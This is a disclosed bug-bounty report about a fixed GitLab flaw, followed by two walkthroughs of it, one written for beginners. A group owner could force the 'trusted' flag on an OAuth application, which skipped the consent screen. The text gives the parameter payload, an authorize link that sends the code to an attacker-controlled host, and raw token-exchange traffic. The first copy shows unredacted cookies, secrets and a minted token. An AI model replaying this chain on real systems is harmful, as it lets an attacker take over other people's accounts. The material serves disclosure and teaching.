Mint Oauth2 access token for targeted user
A group owner could create an OAuth application that was trusted by default, bypassing the CSRF protection on the authorization flow. An attacker could then send a crafted link to a victim and obtain an authorization code without consent, which could be exchanged for an access token to act on the victim's behalf.
Originally disclosed on HackerOne
- Triaged in 37 hours
- Fixed in 16 days
- Paid in 16 days
- Disclosed after 4.3 years
Summary
It is possible to mint access token for targeted user. There is a flaw for group level application setup. It allows a group owner to create an application with user's trust by default. This bypassed the CSRF control for authorization flow.
Steps to reproduce
-
Login as user1 , create a group called malicious group
-
Create an Applications in Settings > Applications > api scope checked
-
Open the created application and click Edit, intercept the request when you click "Save application", append the following
doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1& This will allow us to create an application that is trusted by default. This is an intended function for instance admin.
- Send the following link to the user, or put it in an img tag.
https://gitlab.com/login/oauth/authorize?redirect_uri=http://<attacker-control>.com&client_id=9ff83fc426f95b5b5dec389ac02adf4ef800e4a0fb04faed6ffc8305f5fccf29&scope=api
-
You will be able to see a request with the Code
-
You can mint the access token using the following endpoint.
POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: perf_bar_enabled=true; experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltTTBaR0ZsWWpWa0xXUXdPRFV0TkRjM05TMWlPRGxtTFRVMk5UYzJORFF3WXpsa01pST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--364fb7d4479cb94e08660b9c20f6b7692c7e53a4; _gitlab_session_a577db8f7188ca777cf6a20a7928c67f45ba397ca4a4a162d17662b5e845194c=d114336bb9c2a113ff2e6d5542e17a63; known_sign_in=bGtzOVNNWWY1SitJVDBMUE5WS0VqbXBvbWRyRzhLaXdzKyt6L0FpanZIMndzYVhRUHZpYnlncjJFSFJzNEl3b0dvMlNaVEF4d25PRys4ZDFiYmgvRUpVRWRVdlVRL3YyUXNaUEx4LzExL25YTWk2KzBIUlg3dldFQlpkQ2dDL2YtLTc4cUhhZmJrK2JUckRvT0FONjBRZ1E9PQ%3D%3D--ddb6a3bf3b2faa846ab4a0b2e0ecef561f0c5a99; sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
Content-Length: 223
code=6c53ef532f34762b8705029d4fd005d2c32d788d3e3a78151c1b5f6a2743dffc&client_id=04a5da53b6faaba4758fcb0e7bd80845795c9c838363568c9b4efcc0bcec1934&client_secret=9de25469a82dee694ae4e33e02a3e97156bec87ba905fc4e3e34b9de805f9dc4
Response
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate, no-store
Content-Type: text/plain; charset=utf-8
Etag: W/"a219f8ac2bd29580e1f17894de3956da"
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: integrations
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F2E6M6TER14PB17H6XCDC0B3
X-Runtime: 0.257708
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Date: Sun, 04 Apr 2021 10:25:03 GMT
Content-Length: 105
Connection: close
access_token=bc3450dfcc2fb46eece85d1f74d96070f94cd35e656b184706027227243d5338&scope=api&token_type=Bearer
(Step-by-step guide to reproduce the issue, including:)
(1. any preconditions in the environment) (2. complete HTTP or API request, or) (3. user action, ) (4. etc.)
Impact
I believe you can gain api scope access to any targeted user. I will try to enable more scopes later.
What is the current bug behavior?
Able to obtain user's code without consent and mint access token which can be used to do things on behalf of the user.
What is the expected correct behavior?
Group owner should not be able to enable trusted by default when creating application.
Impact
Gain access to targeted user's data.
Context
GitLab lets users and groups register OAuth applications under Settings > Applications. Each application gets a client ID and a client secret, and the owner picks scopes such as api. When a user later visits the /login/oauth/authorize endpoint for that application, GitLab shows a consent screen and, on approval, redirects back to the registered redirect_uri with an authorisation code. That code is then exchanged at /login/oauth/access_token for a bearer token.
Applications can also be marked as trusted. A trusted application skips the consent step, so the authorisation code is issued without the user explicitly approving the request. Marking an application trusted is intended to be an instance-admin capability. The report describes what happens when a group owner can set that flag on their own group-level application.
Setup
The researcher works with two parties: user1, who owns a group and creates the malicious application, and a targeted user who is sent the authorisation link. The application is created at group level, with the api scope checked. The token exchange in the report is shown against a local development host, gdk.test:3000, rather than gitlab.com. The report does not state a GitLab version.
Finding it
The researcher noticed a flaw in how group-level applications are set up: a group owner can create an application that is trusted by default. Because trusted applications skip the consent screen, the authorisation flow no longer requires the targeted user to approve anything, which in turn means the CSRF protection that normally guards that consent step is bypassed. The result is that an authorisation code can be obtained for a targeted user without their consent, and that code can be exchanged for an access token.
Exploitation
Step 1: Create a group
Log in as user1 and create a group called malicious group. Group ownership is the precondition: the application is created at group level, not as a personal application.
Step 2: Create the application
In Settings > Applications, create an application with the api scope checked. This produces the client ID and client secret used later in the flow.
Step 3: Force the trusted flag
Open the created application, click Edit, and intercept the request sent when you click "Save application". Append the following to the request body:
doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1&
The parameter name is the URL-encoded form of doorkeeper_application[trusted]. The researcher supplied it twice, first as 0 and then as 1, and the application was saved as trusted; the report does not explain why the duplicate was needed. The researcher notes that this is an intended function for instance admins, but here a group owner is able to reach it. The application is now trusted by default, so authorisation requests against it will not prompt the user.
Step 4: Deliver the authorisation link
Send the following link to the targeted user, or embed it in an img tag:
https://gitlab.com/login/oauth/authorize?redirect_uri=http://<attacker-control>.com&client_id=[redacted]&scope=api
The client_id identifies the trusted application, scope=api requests full API scope, and redirect_uri points at an attacker-controlled host. Because the application is trusted, the user is not asked to approve the request, and the authorisation code is delivered to the attacker's redirect_uri.
Step 5: Capture the code
After the targeted user loads the link, a request carrying the authorisation code is observed at the attacker-controlled destination.
Step 6: Exchange the code for a token
The code is exchanged at the token endpoint:
POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: perf_bar_enabled=true; experimentation_subject_id=[redacted]; _gitlab_session_[redacted]=[redacted]; known_sign_in=[redacted]; sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
Content-Length: 223
code=[redacted]&client_id=[redacted]&client_secret=[redacted]
The body carries the authorisation code, the application's client_id and its client_secret. The response returns the bearer token:
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate, no-store
Content-Type: text/plain; charset=utf-8
Etag: W/"[redacted]"
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: integrations
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F2E6M6TER14PB17H6XCDC0B3
X-Runtime: 0.257708
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Date: Sun, 04 Apr 2021 10:25:03 GMT
Content-Length: 105
Connection: close
access_token=[redacted]&scope=api&token_type=Bearer
The response is 200 OK with Content-Type: text/plain and Cache-Control set to no-store. The body contains access_token, scope=api and token_type=Bearer. That token can now be used to act on behalf of the targeted user.
Root cause
The save request accepts a trusted parameter from the request body. The intended restriction is that only an instance admin may set it, but for group-level applications a group owner can supply doorkeeper_application[trusted] and have it persisted.
Once an application is trusted, the consent screen is skipped. The CSRF protection that normally applies to the consent step therefore never comes into play, because there is no user interaction to protect. The authorisation code is issued directly to the supplied redirect_uri.
Impact
A group owner can mint an access token for a targeted user with the api scope, without that user's consent, and use it to act on the user's behalf and reach their data. The researcher states that they believe API scope access to any targeted user is possible and that they would try to enable more scopes later. The attack requires the targeted user to load the authorisation link, directly or via an img tag.
Fix
The expected behaviour, as stated in the report, is that a group owner should not be able to enable trusted by default when creating an application.
Variants to test
- Try the same duplicate-parameter pattern on other privileged attributes of the application form (for example anything that controls redirect behaviour or scopes), watching for a saved value that differs from the one the UI allows.
- Create the application at personal level rather than group level and repeat step 3, to see whether the trusted flag is reachable there too.
- Submit
doorkeeper_application[trusted]=1alone, without the leading0, to see whether the duplicate is required or merely incidental. - Check whether other admin-only fields on the same form accept values from a non-admin owner.
A positive result is an application that saves with the privileged attribute set, followed by an authorisation request that returns a code without showing a consent screen.
Hunting notes
This bug lives in the gap between what a form displays and what the server accepts: a field that is admin-only in the UI but not enforced on save. During recon, look for application or integration settings pages that expose trust, verification or bypass flags, and compare the rendered form with the parameters the endpoint accepts. The signal is a save request whose body contains fields the UI never sends. To show impact, demonstrate the full chain: the privileged attribute persisted, the consent step skipped, the code delivered to an attacker-controlled redirect_uri, and the code exchanged for a working token, as done here with the api scope.
What happened, in plain words
GitLab is a website where people store and share code. Besides code, it has a feature that lets other websites or programs ask GitLab for permission to act on a user's behalf. That feature is called OAuth, and the permission slip it hands out is called an access token.
Normally, when a program asks for permission, GitLab shows the user a screen saying "this app wants access to your account, do you allow it?". The user has to click yes. Only then does GitLab hand over a short-lived code, which the program swaps for a token.
The report describes a way for a group owner (someone who runs a shared space inside GitLab) to create an application that is marked as trusted. A trusted application skips that "do you allow it?" screen entirely. Because the screen never appears, the user never gets a chance to say no, and the CSRF control that normally guards that step is bypassed. The result: an attacker can get a code for a targeted user without that user agreeing to anything, and turn the code into a token that acts as that user.
This is a beginner-friendly walkthrough of the same report, in the same order, with the same requests.
Background you need first
A few ideas come up again and again, so here they are from zero.
- API: a way for one program to talk to another without a human clicking around. Think of a restaurant: the menu and the waiter are the API. You do not walk into the kitchen; you ask the waiter, and food comes back. GitLab's API lets a program read and change a user's projects, issues and so on.
- OAuth: the system that lets a program ask a website for permission to use your account, without you handing over your password. You have seen it as "Sign in with Google" buttons.
- Application (OAuth application): a registration inside GitLab that represents such a program. It has a name, a list of permissions it wants, and two secret strings (below).
- Client ID: a public identifier for the application. It is not secret; it is like a shop's name on a sign.
- Client secret: a private password for the application. It must stay secret; it is like the key to the shop's back door.
- Scope: the list of permissions an application asks for.
apiis the broad one: full read and write access through the API. - Consent screen: the page that asks the user "do you allow this app?".
- Authorisation code: a short-lived, one-time string that GitLab gives out after consent. It is not the token itself; it is the receipt you swap for the token.
- Access token: the actual key that lets a program act as the user. It is like a wristband at an event: show it and you get in, no questions asked, until it expires or is revoked.
- Bearer token: a token where simply possessing it is enough. No extra proof of identity is needed.
- Cookie: a small piece of data a website stores in your browser so it can recognise you on the next request. Your logged-in session is a cookie.
- CSRF (Cross-Site Request Forgery): an attack where a malicious page makes your browser send a request to another site where you are logged in, without you intending it. The classic defence is a consent screen or a secret token that the attacker cannot guess. If a step needs a real human click, an attacker's page cannot fake that click.
- Intercept a request: use a tool (a proxy) that sits between your browser and the server so you can see and edit what the browser sends before it arrives.
- URL encoding: replacing characters that are not allowed in a URL with a
%code.[becomes%5Band]becomes%5D. - Parameter: a named value sent to a server, like
name=value. Servers read them to decide what to do. - Instance admin: the top-level administrator of a whole GitLab installation, with power over everything.
- Group owner: someone who administers one group (a shared folder of projects and people) inside GitLab. Much less power than an instance admin.
The setup
Two people are involved in the report:
user1, the attacker, who owns a group and creates the malicious application.- The targeted user, who is sent a link and is logged in to GitLab.
The application is created at group level, with the api scope ticked. The token exchange in the report is shown against a local development host, gdk.test:3000, not against gitlab.com. The report does not state a GitLab version.
Finding it
The researcher noticed a flaw in how group-level applications are set up: a group owner can create an application that is trusted by default. Trusted applications skip the consent screen. If there is no consent screen, there is no human click to protect, so the CSRF protection that normally guards that step never comes into play. The chain is: trusted application, no consent, code issued straight to the attacker's address, code swapped for a token.
Exploitation, step by step
Step 1: Create a group
Log in as user1 and create a group called malicious group.
Why: the application must be created at group level, not as a personal application. Group ownership is the precondition for the flaw.
Step 2: Create the application
Go to Settings > Applications and create an application with the api scope checked.
Why: this produces the client ID and client secret that are needed later. The api scope is what makes the resulting token powerful.
Step 3: Force the trusted flag
Open the created application, click Edit, and intercept the request sent when you click "Save application". Append the following to the request body:
doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1&
Line by line:
doorkeeper_application%5Btrusted%5Dis the URL-encoded form ofdoorkeeper_application[trusted]. That is the name of the setting that marks an application as trusted.=0sets the value to false (not trusted).&separates one parameter from the next.=1sets the same parameter again, this time to true (trusted).- The trailing
&is just a separator left at the end.
The parameter is supplied twice, first as 0 and then as 1, and the application ends up saved as trusted; the report does not explain why the duplicate was needed. The researcher notes that setting this flag is meant to be an instance-admin function, but here a group owner can reach it.
Why this step matters: the application is now trusted by default, so authorisation requests against it will not prompt the user.
Step 4: Deliver the authorisation link
Send the following link to the targeted user, or embed it in an img tag:
https://gitlab.com/login/oauth/authorize?redirect_uri=http://<attacker-control>.com&client_id=[redacted]&scope=api
Line by line:
https://gitlab.com/login/oauth/authorizeis the endpoint that starts the permission flow.redirect_uri=http://<attacker-control>.comtells GitLab where to send the user (and the code) afterwards. Here it points at a host the attacker controls.client_id=...identifies the trusted application created in step 3.scope=apiasks for full API access.
Why an img tag: a browser loads images automatically when it renders a page, so the URL can be fetched without the user clicking anything. The report suggests this as an alternative to sending the link.
Step 5: Capture the code
After the targeted user loads the link, a request carrying the authorisation code is observed at the attacker-controlled destination.
Step 6: Exchange the code for a token
The code is exchanged at the token endpoint:
POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: perf_bar_enabled=true; experimentation_subject_id=[redacted]; _gitlab_session_[redacted]=[redacted]; known_sign_in=[redacted]; sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
Content-Length: 223
code=[redacted]&client_id=[redacted]&client_secret=[redacted]
Line by line:
POST /login/oauth/access_token HTTP/1.1is the request line: send data to this endpoint using HTTP version 1.1.Host: gdk.test:3000says which server is being talked to. This is a local development host, notgitlab.com.User-Agent,Accept,Accept-Language,Accept-Encodingdescribe the browser and what it will accept back. They are ordinary browser headers.Connection: closeasks the server to close the connection after the reply.Cookie:carries the browser's stored cookies, including the logged-in session. These are redacted here because they are personal data.Upgrade-Insecure-Requests: 1is a standard browser header asking for secure versions of links.Content-Length: 223says the body is 223 bytes long.- The blank line separates headers from the body.
- The body carries three values:
code(the authorisation code from step 5),client_id(the application's public identifier) andclient_secret(the application's private password).
Why this step: the code alone is not usable as a key. It must be swapped, together with the application's credentials, for the actual token.
The response returns the bearer token:
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate, no-store
Content-Type: text/plain; charset=utf-8
Etag: W/"[redacted]"
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: integrations
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F2E6M6TER14PB17H6XCDC0B3
X-Runtime: 0.257708
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Date: Sun, 04 Apr 2021 10:25:03 GMT
Content-Length: 105
Connection: close
access_token=[redacted]&scope=api&token_type=Bearer
Line by line:
HTTP/1.1 200 OKmeans the request succeeded.Cache-Control: max-age=0, private, must-revalidate, no-storeandPragma: no-cachetell browsers and proxies not to store the response. That matters for secrets: you do not want a token sitting in a cache.Content-Type: text/plain; charset=utf-8says the body is plain text.Etag,X-Request-Id,X-Runtime,Dateare identifiers and timing information about the response.Referrer-Policy,X-Content-Type-Options,X-Download-Options,X-Frame-Options,X-Permitted-Cross-Domain-Policies,X-Xss-Protection,X-Ua-Compatibleare security headers that limit how browsers treat the page.X-Gitlab-Feature-Category: integrationsis a GitLab-specific label.Content-Length: 105says the body is 105 bytes long.- The body contains
access_token(the key),scope=api(what it can do) andtoken_type=Bearer(possession is enough).
That token can now be used to act on behalf of the targeted user.
Why it works (root cause)
The save request accepts a trusted parameter from the request body. The intended restriction is that only an instance admin may set it, but for group-level applications a group owner can supply doorkeeper_application[trusted] and have it saved.
Once an application is trusted, the consent screen is skipped. The CSRF protection that normally applies to the consent step therefore never comes into play, because there is no user interaction to protect. The authorisation code is issued directly to the supplied redirect_uri.
Impact
A group owner can mint an access token for a targeted user with the api scope, without that user's consent, and use it to act on the user's behalf and reach their data. The researcher states that they believe API scope access to any targeted user is possible and that they would try to enable more scopes later. The attack requires the targeted user to load the authorisation link, directly or via an img tag.
Fix
The expected behaviour, as stated in the report, is that a group owner should not be able to enable trusted by default when creating an application.
Variants to test
- Try the same duplicate-parameter pattern on other privileged attributes of the application form (for example anything that controls redirect behaviour or scopes), watching for a saved value that differs from the one the UI allows.
- Create the application at personal level rather than group level and repeat step 3, to see whether the trusted flag is reachable there too.
- Submit
doorkeeper_application[trusted]=1alone, without the leading0, to see whether the duplicate is required or merely incidental. - Check whether other admin-only fields on the same form accept values from a non-admin owner.
A positive result is an application that saves with the privileged attribute set, followed by an authorisation request that returns a code without showing a consent screen.
Hunting notes
This bug lives in the gap between what a form displays and what the server accepts: a field that is admin-only in the UI but not enforced on save. During recon, look for application or integration settings pages that expose trust, verification or bypass flags, and compare the rendered form with the parameters the endpoint accepts. The signal is a save request whose body contains fields the UI never sends. To show impact, demonstrate the full chain: the privileged attribute persisted, the consent step skipped, the code delivered to an attacker-controlled redirect_uri, and the code exchanged for a working token, as done here with the api scope.
Glossary
- API: a way for programs to talk to a service directly, without a human clicking through pages.
- OAuth: a system that lets a program ask a website for permission to use your account without your password.
- OAuth application: a registration inside GitLab representing a program that wants access.
- Client ID: the public identifier of an OAuth application.
- Client secret: the private password of an OAuth application.
- Scope: the list of permissions an application asks for;
apimeans full API access. - Consent screen: the page asking the user to approve an application's request.
- Authorisation code: a short-lived, one-time string swapped for an access token.
- Access token: a key that lets a program act as a user.
- Bearer token: a token where simply having it is enough to use it.
- Cookie: small data stored by the browser so a site can recognise you, including your logged-in session.
- CSRF (Cross-Site Request Forgery): tricking a logged-in user's browser into sending a request the user did not intend.
- Intercept a request: capture and edit what the browser sends before it reaches the server, usually with a proxy tool.
- URL encoding: writing characters in URLs as
%codes, for example[as%5B. - Parameter: a named value sent to a server, in the form
name=value. - Instance admin: the top-level administrator of an entire GitLab installation.
- Group owner: the administrator of one group inside GitLab.
- Trusted application: an application that skips the consent screen.
- Redirect URI: the address the user (and the code) is sent to after the permission flow.
- Endpoint: a specific URL on a server that performs a specific action.
- Header: extra information sent alongside an HTTP request or response.
- Request body: the data sent after the headers in an HTTP request.
imgtag: an HTML element that makes the browser load an image automatically, which can also be used to make it load a URL silently.